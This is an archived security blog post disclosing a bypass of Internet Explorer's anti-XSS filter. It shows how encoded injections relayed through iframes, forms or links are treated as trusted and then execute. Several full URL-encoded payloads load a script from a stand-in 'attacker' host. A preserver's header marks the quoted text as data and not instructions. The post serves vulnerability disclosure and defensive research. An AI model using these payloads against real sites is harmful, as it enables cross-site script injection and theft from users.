Bypassing Internet Explorer's Anti-Cross Site Scripting Filter

Bypassing Internet Explorer's Anti-Cross Site Scripting Filter - Carlos Munoz, WhiteHat Security.

- Published: date not stated
- Original: <http://web.archive.org/web/20160507023636/https://www.whitehatsec.com/blog/internet-explorer-xss-filter>
- Current location: <http://web.archive.org/web/20160809013531/https://www.whitehatsec.com/blog/internet-explorer-xss-filter/>
- Preserved from: http://web.archive.org/web/20160809013531/https://www.whitehatsec.com/blog/internet-explorer-xss-filter/ (live) on 2026-08-10
- Capture timestamp: 20160507023636
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

There’s a problem with the reflective Cross Site Scripting ("XSS") filter in Microsoft’s Internet Explorer family of browsers that extends from version 8.0 (where the filter first debuted) through the most current version, 11.0, released in mid-October for Windows 8.1, and early November for Windows 7.

In the simplest possible terms, the problem is that the anti-XSS filter only compares the **untrusted** request from the user and the response body from the website for reflections that could cause immediate JavaScript or VBScript code execution. Should an injection from that initial request reflect on the page not cause immediate JavaScript code execution, that **untrusted** data from the injection is then marked as **trusted** data, and the anti-XSS filter will not check it in future requests.

To reiterate: Internet Explorer’s anti-XSS filter divides the data it sees into two categories: **untrusted** and **trusted**. **Untrusted** data is subject to the anti-XSS filter, while **trusted** data is not.

As an example, let’s suppose a website contains an iframe definition where an injection on the "xss" parameter reflects in the src="" attribute. The page referenced in the src="" attribute contains an XSS vulnerability such that:

`GET http://vulnerable-iframe/inject?xss=%3Ctest-injection%3E`

results in the “xss” parameter being reflected in the page containing the iframe as:

`<iframe src="http://vulnerable-page/?vulnparam=<test-injection>"></iframe>`

and the vulnerable page would then render as:

`Some text <test-injection> some more text`

Should a user make a request directly to the vulnerable page in an attempt to reflect `<script src=http://attacker/evil.js></script>` as follows:

`GET http://vulnerable-page/?vulnparam=%3Cscript%20src%3Dhttp%3A%2F%2Fattacker%2Fevil%2Ejs%3E%3C%2Fscript%3E`

Internet Explorer’s anti-XSS filter sees that the injection would result in immediate JavaScript code execution and subsequently modifies the response body to prevent that from occurring.

Even when the request is made to the page containing the iframe as follows:

`GET http://vulnerable-iframe/inject?xss=%3Cscript%20src%3Dhttp%3A%2F%2Fattacker%2Fevil%2Ejs%3E%3C%2Fscript%3E`

and Internet Explorer’s anti-XSS filter sees it reflected as:

`<iframe src="http://vulnerable-page/?vulnparam=<script src=http://attacker/evil.js></script>"></iframe>`

which, because it looks like it might cause immediate JavaScript code execution, will also be altered.

To get around the anti-XSS filter in Internet Explorer, an attacker can make use of sections of the HTML standard: Decimal encodings and Hexadecimal encodings.

Hexadecimal encodings were made part of the official HTML standard in 1998 as part of HTML 4.0 (3.2.3: Character references), while Decimal encodings go back further to the first official HTML standard in HTML 2.0 in 1995 (ISO Latin 1 Character Set). When a browser sees a properly encoded decimal or hexadecimal character in the response body of a HTTP request, the browser will automatically decode and display for the user the character referenced by the encoding.

As an added bonus for an attacker, when a decimal or hexadecimal encoded character is returned in an attribute that is then included in a subsequent request, it is the decoded character that is sent, not the decimal or hexadecimal encoding of that character.

Thus, all an attacker needs to do is fool Internet Explorer’s anti-XSS filter by inducing some of the desired characters to be reflected as their decimal or hexadecimal encodings in an attribute.

To return to the iframe example, instead of the obviously malicious injection, a slightly modified injection will be used:

Partial Decimal Encoding:

`GET http://vulnerable-iframe/inject?xss=%3Cs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%20s%26%23114%3B%26%2399%3B%3Dht%26%23116%3Bp%3A%2F%2Fa%26%23116%3Bta%26%2399%3Bker%2Fevil%2Ejs%3E%3C%2Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%3E`

which reflects as:

`<iframe src="http://vulnerable-page/?vulnparam=<script src=http://attacker/evil.js></script>"></iframe>`

or

Partial Hexadecimal Encoding:

`GET http://vulnerable-iframe/inject?xss=%3Cs%26%23x63%3Bri%26%23x70%3Bt%20s%26%23x72%3Bc%3Dhttp%3A%2F%2Fatta%26%23x63%3Bker%2Fevil%2Ejs%3E%3C%2Fs%26%23x63%3Bri%26%23x70%3Bt%3E`

which reflects as:

`<iframe src="http://vulnerable-page/?vulnparam=<script src=http://attacker/evil.js></script>"></iframe>`

Internet Explorer's anti-XSS filter does not see either of those injections as potentially malicious, and the reflections of the **untrusted** data in the initial request are marked as **trusted** data and will not be subject to future filtering.

The browser, however, sees those injections, and will decode them before including them in the automatically generated request for the vulnerable page. So when the following request is made from the iframe definition:

`GET http://vulnerable-page/?vulnparam=%3Cscript%20src%3Dhttp%3A%2F%2Fattacker%2Fevil%2Ejs%3E%3C%2Fscript%3E`

Internet Explorer's anti-XSS filter will ignore the request completely, allowing it to reflect on the vulnerable page as:

`Some text <script src=http://attacker/evil.js></script> some more text`

Unfortunately (or fortunately, depending on your point of view), this methodology is not limited to iframes. Any place where an injection lands in the attribute space of an HTML element, which is then relayed onto a vulnerable page on the same domain, can be used. Form submissions where the injection reflects either inside the "action" attribute of the form element or in the "value" attribute of an input element are two other instances that may be used in the same manner as with the iframe example above.

Beyond that, in cases where there is only the single page where:

`GET http://vulnerable-page/?xss=%3Ctest-injection%3E`

reflects as:

`Some text <test-injection> some more text`

the often under-appreciated sibling of Cross Site Scripting, Content Spoofing, can be utilized to perform the same attack. In this example, an attacker would craft a link that would reflect on the page as:

`Some text <div style=some-css-elements><a href=?xss=<script src=http://attacker/evil.js></script>>Requested page has moved here</a></div> some more text`

Then when the victim clicks the link, the same page is called, but now with the injection being fully decoded:

`Some text <script src=http://attacker/evil.js></script> some more text`

This is the flaw in Internet Explorer's anti-XSS filter. It only looks for injections that might immediately result in JavaScript code execution. Should an attacker find a way to relay the injection within the same domain — be it by frames/iframes, form submissions, embedded links, or some other method — the **untrusted** data injected in the initial request will be treated as **trusted** data in subsequent requests, completely bypassing Internet Explorer's anti-Cross Site Scripting filter.

Afterword:

After Microsoft made its decision not to work on a fix for this issue, it was requested that the following link to their design philosophy blog post be included in any public disclosures that may occur. In particular the third category, which discusses "application-specific transformations" and the possibility of an application that would "ROT13 decode" values before reflecting them, was pointed to in Microsoft's decision to allow this flaw to continue to exist.

http://blogs.msdn.com/b/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx

The "ROT13 decode" and "application-specific transformations" mentions do not apply. Everything noted above is part of the official HTML standard, and has been so since at least 1998 — if not earlier. There is no "only appears in this one type of application" functionality being used. The XSS injection reflects in the attribute space of an element and is then relayed onto a vulnerable page (either another page, or back to itself) where it then executes.

Additionally, the usage of decimal and hexadecimal encodings are not the flaw, but rather two implementations that make use of the method that exploits the flaw. Often simple URL/URI-encodings (mentioned as early as 1994 in RFC 1630) can be used in their place.

The flaw with Internet Explorer's anti-XSS filter is that injected **untrusted** data can be turned into **trusted** data and that injected **trusted** data is not subject to validation by Internet Explorer's anti-XSS filter.

Post Script:

The author has adapted this post from his original work, which can be found here:

http://rtwaysea.net/blog/blog-2013-10-18-long.html
